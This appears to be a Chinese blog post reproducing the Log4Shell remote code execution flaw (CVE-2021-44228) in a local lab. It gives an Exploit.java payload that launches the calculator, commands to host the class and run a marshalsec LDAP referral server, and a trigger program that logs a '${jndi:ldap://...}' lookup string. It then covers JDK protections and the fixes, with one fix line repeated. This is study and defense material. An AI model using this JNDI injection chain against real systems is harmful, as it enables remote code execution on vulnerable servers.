irpas技术客

Log4J2远程代码执行漏洞复现(CVE-2021-44228)_半只特立独行的猪

未知 8453

Log4J远程代码执行漏洞复现(CVE-2021-44228)

受影响版本log4j版本:2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1

受影响的应用及组件:Apache Solr、Apache Struts2、Apache Flink、Apache Druid、spring-boot-strater-log4j2、ElasticSearch、Apache Flume、Dubbo、Redis、Logstash、Apache Kafka等

复现环境:java version “1.8.0_311” 、log4j-2.14.1、marshalsec-0.0.3-SNAPSHOT-all.jar

Exploit.java public class Exploit { public Exploit(){ try{ String[] commands = {"cmd.exe","/c","calc.exe"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } } Exploit.class开启http服务 python3 -m http.server 8080 marshalsec 开启ldap服务 项目地址:https://github.com/mbechler/marshalsec java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Exploit"

由于本次使用的jdk版本为 8u311默认将 com.sun.jndi.ldap.object.trustURLCodebase 设置为 false

JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

Log4jRce.java import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jRce { private static final Logger logger = LogManager.getLogger(Log4jRce.class); public static void main(String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}"); } }

复现截图

漏洞修复

添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true

在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

添加log4j2.component.properties配置文件

JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

添加log4j2.component.properties配置文件

仅用于学习交流,不得用于非法用途 如侵权请私聊博主删文


1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,会注明原创字样,如未注明都非原创,如有侵权请联系删除!;3.作者投稿可能会经我们编辑修改或补充;4.本站不提供任何储存功能只提供收集或者投稿人的网盘链接。

标签: #amplt #apache #log4j #2